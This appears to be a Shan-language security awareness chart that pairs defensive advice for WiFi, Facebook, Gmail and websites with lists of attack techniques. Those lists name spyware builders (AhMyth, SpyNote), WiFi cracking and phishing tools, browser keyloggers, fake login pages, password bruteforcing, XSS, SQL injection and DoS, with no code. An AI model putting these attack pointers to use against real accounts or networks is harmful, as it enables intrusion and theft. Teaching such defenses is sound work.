ၸႂ်ႉ AhMyth တႃႇလပ်ႉမႅင်းဝႆႉၼႂ်းၾႆႇ 
.apk

ၸႂ်ႉ SpyNote တႃႇလပ်ႉမႅင်းဝႆႉၼႂ်းၾႆႇ 
.apk
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Def/. ATT/.

Technical /.

Physical /.

တမ်းဝင်း router ဝႆႉတီႈဢၼ်မီးလွင်ႈႁူမ်ႇလူမ်ႈ 
ႄလႈ ၵူၼ်းတင်ႇေၵႃႉၶဝ်ႈထိုင်လႆႈယၢပ်ႇ

ဢမ်ႇတႅမ်ႈမၢႆလပ်ႉ WiFi ဢၼ်ၵူၼ်းႁိူၼ်း 
ဢမ်ႇၼၼ်ၵူၼ်းၼႂ်းလုမ်းၸႂ်ႉ ဝႆႉၼိူဝ်ၽႃ ဢမ်ႇၼၼ် 
ၼိူဝ်ၽိူၼ်ႁဵတ်းၵၢၼ်

ၾၢင်ႉသတိ ဢမ်ႇပၼ်ၵူၼ်းတင်းၼွၵ်ႈ မႃးသဵပ်ႇၶိူင်ႈ 
မိုဝ်းမိူၼ်ၼင်ႇ USB ၸိူဝ်းဢၼ်ၸၢင်ႈလၵ်ႉ pass-
word

တႅမ်ႈပိူင်ေပႃႇလသီႇ ၵၢၼ်ၸႂ်ႉၼဵတ်ႇၼႂ်းလုမ်း

Info Gathering /.

Local Acttack /.

Remote Attack /.

လႅၵ်ႈလၢႆႈ default password ၶွင် router

သႂ်ႇမၢႆလပ်ႉ WiFi ဢၼ်လီ

ဢမ်ႇပၼ်ၵူၼ်းတင်ႇေၵႃႉၸႂ်ႉ WiFi ဢၼ်ၵူၼ်းႁိူၼ်း 
ဢမ်ႇၼၼ်ၵူၼ်းၼႂ်းလုမ်းၸႂ်ႉ / လပ်ႉပႅတ်ႈ WiFi 
သုၼ်ႇတူဝ် (hidden WiFi)

တင်ႈ WiFi ႁႂ်ႈၸႂ်ႉ WPA2 ႄလႈ ပိၵ်ႉပႅတ်ႈ WEP

သၢင်ႈ WiFi Guest တႃႇၵူၼ်းတင်ႇေၵႃႉၸႂ်ႉ

ပၵ်းတႃတူၺ်းၸွမ်း တင်းၼမ်ၵူၼ်းၸႂ်ႉ Internet

ပိၵ်ႉပႅတ်ႈ UPnP ၼိူဝ် router

ထတ်းတူၺ်းဝႃႈ router ၸွင်ႇလႆႈ forward ၵႂႃႇတီႈ 
လႂ် (port forwarding)

ပိၵ်ႉပႅတ်ႈ ports ဢၼ်ဢမ်ႇလူဝ်ႇၸႂ်ႉၼိူဝ် router

ပိၵ်ႉပႅတ်ႈ services ဢၼ်ဢမ်ႇလူဝ်ႇၸႂ်ႉ မိူၼ်ၼင်ႇ 
Remote Management, Remote GUI or Web 
Access from WAN, SNMP, NAT-PMP 

ေတလႆႈ update firmware ယူႇတႃႇေသႇ

လွင်ႈႁူမ်ႇလူမ်ႈ Internet
INTERNET SEC

ၸႂ်ႉ Aircrack-ng တႃႇလၵ်ႉမၢႆလပ်ႉ WiFi

ၸႂ်ႉ USB လၵ်ႉမၢႆလပ်ႉ WiFi

ၸႂ်ႉ Wireshark ၵဵပ်းေၶႃႈ traffic

ၸႂ်ႉ fern wifi cracker တႃႇလၵ်ႉမၢႆလပ်ႉ 
WiFi

ၸႂ်ႉ Etherape ၵဵပ်းေၶႃႈ traffic

ၸႂ်ႉ airbase-ng ႄလႈ airplay-ng 
သၢင်ႈ WiFi ပွမ်

ၸႂ်ႉ Zenmap ၵဵပ်းေၶႃႈမုၼ်း open ports

ၸႂ်ႉ Wifiphisher တႃႇလၵ်ႉမၢႆလပ်ႉ WiFi

ၸႂ်ႉ Wifi Jammer တႃႇသုၵ်ႉသၵ်ႉ WiFi

ၸႂ်ႉ Ettercap တႃႇလၵ်ႉမၢႆလပ်ႉ http://

ၸႂ်ႉ Driftnet တႃႇတူၺ်းၸွမ်းဝႃႈ 
ပိူၼ်ႈၽုၺ်ႇတူၺ်းၶႅပ်းႁၢင်ႈသင်
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Def/. ATT/.

Technical /.

Physical /.
ဢမ်ႇပၼ် ၵူၼ်းတင်ႇေၵႃႉၸႂ်ႉၶိူင်ႈမိုဝ်း (ၾူၼ်း ႄလႈ ၶွမ်း) 
ဢၼ်လႆႈသႂ်ႇ Facebook ဝႆႉ

ဢမ်ႇထုၵ်ႇလီသႂ်ႇေၶႃႈမုၼ်းသုၼ်ႇတူဝ် မိူၼ်ၼင်ႇ 
ၸိုဝ်ႈႄတႉ၊ ၽိုၼ်မိူၼ်ဝႂ်ၵႅမ်တူဝ်၊ ဝၼ်းၵိူတ်ႇ၊ ၸိုဝ်ႈပီႈၼွင်ႉ

ၾၢင်ႉသတိၵၢၼ်ထုၵ်ႇလွၵ်ႇႁႂ်ႈ တၢဝ်ႊလူတ်ႊ မူင်ႈမႅင်း 
လူင်းၼႂ်းၶူိင်ႈ ဢမ်ႇၼၼ် ပၼ်မၢႆလပ်ႉ Facebook

ထုၵ်ႇလီၸႅၵ်ႇႄၽ Facebook တႃႇၵူၼ်းတင်းၼမ် ႄလႈ 
ၵူၼ်းၸမ်ၸႂ် မိူၼ်ၼင်ႇၵူၼ်းႁူိၼ်း

မီးေပႃႇလႃႇသီႇ ၵၢၼ်ၶဝ်ႈထိုင် ႄလႈ ၵၢၼ်တင်ႇေၶႃႈမုၼ်း 
ၼိူဝ် Page ဢမ်ႇၼၼ် Facebook မုၵ်ႉၸုမ်း

ႁဵၼ်းႁူႉလွင်ႈပၵ်းပိူင်မၢႆမီႈ eg. 2013 Telecommunica-
tion Law

Info Gathering /.

Local Acttack /.

Remote Attack /.

ပိၵ်ႉပႅတ်ႈ GPS - Location Service ၾူၼ်း

ထတ်းတူၺ်း logins (Login devices and locations) 
ယႃႇတႃႇေသႇ

ဢမ်ႇတဵၵ်းဢမ်ႇၼၼ်တၢဝ်ႊလူတ်ႊ ေၶႃႈမုၼ်းလုၵ်ႉတီႈ 
ဢၼ်ၵူၼ်းဢမ်ႇႁူႉၸၵ်းသူင်ႇပၼ်ၼႂ်း Messenger

Facebook သုၼ်ႇတူဝ်ၼၼ်ႉ ပိၵ်ႉပႅတ်ႈ Public shar-
ing မူတ်းမူတ်း

ပိၵ်ႉပႅတ်ႈ Search Engine ဢၼ်ပၼ်ၶႂၢင်ႉႁႂ်ႈႁႃ
Facebook ၸဝ်ႈၵဝ်ႇၼိူဝ် Google လႆႈ

သႂ်ႇမၢႆၾူၼ်း ႄလႈ email ၸဝ်ႈၵဝ်ႇတႃႇ backup

ၽုၺ်ႇ 2FA (2-steps authentication)

တၢဝ်ႊလူတ်ႊ recover code ဝႆႉ

Page ၸုမ်းၼၼ်ႉ ထတ်းတူၺ်းဝႃႈၽႂ်ပဵၼ် admin

လွင်ႈႁူမ်ႇလူမ်ႈ Facebook
FACEBOOK SEC

ႁႃေၶႃႈမုၼ်း public posts

တူၺ်းဝႃႈၵူၺ်းေၵႃႉ Friends 
မီးၽႂ်လၢႆလၢႆ

လၵ်ႉမၢႆလပ်ႉဢၼ်လႆႈၵဵပ်းသိမ်းဝႆႉၼႂ်း 
browsers (saved logins)

Reset မၢႆလပ်ႉ Facebook သင်လႆႈယိပ်း 
ၾူၼ်း

လႅၵ်ႈလၢႆႈ email ဢမ်ႇၼၼ် မၢႆၾူၼ်း 
ဢၼ်သႂ်ႇဝႆႉၼႂ်း Faeebook

သႂ်ႇ keylogger ၼႂ်း browsers

ၸႂ်ႉ Setoolkit သၢင်ႈ Facebook ပွမ်

Reset မၢႆလပ်ႉတိၵ်းတိၵ်းေပႃႇ Face-
book ေပႃးပိၵ်ႉ

Report Facebook
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Def/. ATT/.

Technical /.

Physical /.
ဢမ်ႇပၼ် ၵူၼ်းတင်ႇေၵႃႉၸႂ်ႉၶိူင်ႈမိုဝ်း (ၾူၼ်း ႄလႈ ၶွမ်း) 
ဢၼ်လႆႈသႂ်ႇ Gmail ဝႆႉ

ဢမ်ႇထုၵ်ႇလီသႂ်ႇေၶႃႈမုၼ်းသုၼ်ႇတူဝ် မိူၼ်ၼင်ႇ 
ၸိုဝ်ႈႄတႉ၊ ၽိုၼ်မိူၼ်ဝႂ်ၵႅမ်တူဝ်၊ ဝၼ်းၵိူတ်ႇ၊ ၸိုဝ်ႈပီႈၼွင်ႉ

ၾၢင်ႉသတိၵၢၼ်ထုၵ်ႇလွၵ်ႇႁႂ်ႈ တၢဝ်ႊလူတ်ႊ မူင်ႈမႅင်း 
လူင်းၼႂ်းၶူိင်ႈ ဢမ်ႇၼၼ် ပၼ်မၢႆလပ်ႉ Gmail

ထုၵ်ႇလီၸႅၵ်ႇႄၽ Gmail တႃႇၵူၼ်းတင်းၼမ် ႄလႈ 
တႃႇသုၼ်ႇတူဝ်

မီးေပႃႇလႃႇသီႇ ၵၢၼ်ၶဝ်ႈထိုင် ႄလႈ ၵၢၼ်တင်ႇေၶႃႈမုၼ်း 
ၼိူဝ် Page ဢမ်ႇၼၼ် Gmail မုၵ်ႉၸုမ်း

Info Gathering /.

Local Acttack /.

Remote Attack /.

ထတ်းတူၺ်း logins (Login devices and locations) 
ယႃႇတႃႇေသႇ

ထတ်း Email fowarding

မွတ်ႇႄလႈပိၵ်ႉပႅတ်ႈ Location History, YouTube 
History ႄလႈ Search History

သႂ်ႇမၢႆၾူၼ်း ႄလႈ email ၸဝ်ႈၵဝ်ႇတႃႇ backup

ၽုၺ်ႇ 2FA (2-steps authentication)

တၢဝ်ႊလူတ်ႊ recover code ဝႆႉ

လွင်ႈႁူမ်ႇလူမ်ႈ Gmail
GMAIL SEC

လၵ်ႉမၢႆလပ်ႉဢၼ်လႆႈၵဵပ်းသိမ်းဝႆႉၼႂ်း 
browsers (saved logins)

Reset မၢႆလပ်ႉ Facebook သင်လႆႈယိပ်း 
ၾူၼ်း

လႅၵ်ႈလၢႆႈ email ဢမ်ႇၼၼ် မၢႆၾူၼ်း 
ဢၼ်သႂ်ႇဝႆႉၼႂ်း Faeebook

သႂ်ႇ keylogger ၼႂ်း browsers

ၸႂ်ႉ Setoolkit သၢင်ႈ Facebook ပွမ်

ႁႃေၶႃႈမုၼ်းၼႂ်း Google
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မီးၵၢၼ် backup ေၶႃႈမုၼ်းဝႅပ်ႉ offline ယႃႇတႃႇေသႇ
 ႄလႈ ေၶႃႈမုၼ်း backup ၼၼ်ႉ ထုၵ်ႇလီၵဵပ်းဝႆႉတီႈဢၼ် 
မီးလွင်ႈႁူမ်ႇလူမ်ႈ မိူၼ်ၼင်ႇ External HDD မုၵ်ႉၸုမ်း

ၵဵပ်းသိမ်းေၶႃႈမုၼ်း login, password, server, SSH 
key ၸၵႂႃႇ ဝႆႉတီႈဢၼ်မီးလွင်ႈႁူမ်ႈလူမ်ႈ

မီးေပႃႇလသီႇ ၵၢၼ် upload ႄလႈ restore ေၶႃႈမုၼ်း 
ၼႂ်းမုၵ်ႉၸုမ်း

Info Gathering /.

Remote Attack /.

သိုဝ်ႉ Hosting ဢၼ်မီးလွင်ႈႁူမ်ႇလူမ်ႈသုင် (မီး SSH 
Certificate, backup system ႄလႈ ClouldFlare 
ၸၵႂႃႇ)

ဢမ်ႇၸႂ်ႉ free premium tempalte ဢမ်ႇၼၼ် premi-
um plugins ယွတ်ႉဝႃႈၵမ်ႈၼမ်မီးပႃးမႅင်း

လပ်ႉေၶႃႈမုၼ်း domain (priavte domain registra-
tion)

သႂ်ႇ SSH certificate (https://)

limit user account ႄလႈ user registration

သႂ်ႇ plugin လွင်ႈႁူမ်ႇလူမ်ႈဝႅပ်ႉ မိူၼ်ၼင်ႇ WP All in 
One Security ဢမ်ႇၼၼ် WordFence

လႅၵ်ႈလၢႆႈ login url မိူၼ်ၼင်ႇ web.com/login? ပဵၼ် 
web.com/sec92

Backup ေၶႃႈမုၼ်းဝႅပ်ႉ ႄလႈ database ၼိူဝ် Hosting 
တီႈေဢႇသုတ်း 1 လိူၼ် 1 ပွၵ်ႈ

လွင်ႈႁူမ်ႇလူမ်ႈဝႅပ်ႉ
WEBSITE SEC

ႁႃႈေၶႃႈမုၼ်း server, IP addreess, 
email, location, ႄလႈ ၸဝ်ႈၶွင်ဝႅပ်ႉ

ၸႂ်ႉ OWASP ႁႃေၶႃႈမုၼ်းဝႅပ်ႉ

ၸႂ်ႉ DRIB & Whatweb  ႁႃေၶႃႈမုၼ်းဝႅပ်ႉ

ႁႃေၶႃႈမုၼ်း ႄလႈလွင်ႈယုပ်ႈယွမ်းဝႅပ်ႉလူ
ၺ်ႈၵၢၼ်ၸႂ်ႉ joomscan (Joomla)
ႁႃေၶႃႈမုၼ်း ႄလႈလွင်ႈယုပ်ႈယွမ်းဝႅပ်ႉလူ
ၺ်ႈၵၢၼ်ၸႂ်ႉ wpscan (Wordpress)

bruteforce password လူၺ်ႈၵၢၼ်ၸႂ်ႉ 
wpscan

bruteforce password လူၺ်ႈၵၢၼ်ၸႂ်ႉ 
Hydra

ႁႅပ်ႉဝႅပ်ႉလူၺ်ႈ Burpsuite

XSS attack

SQL injection

DoDs attack




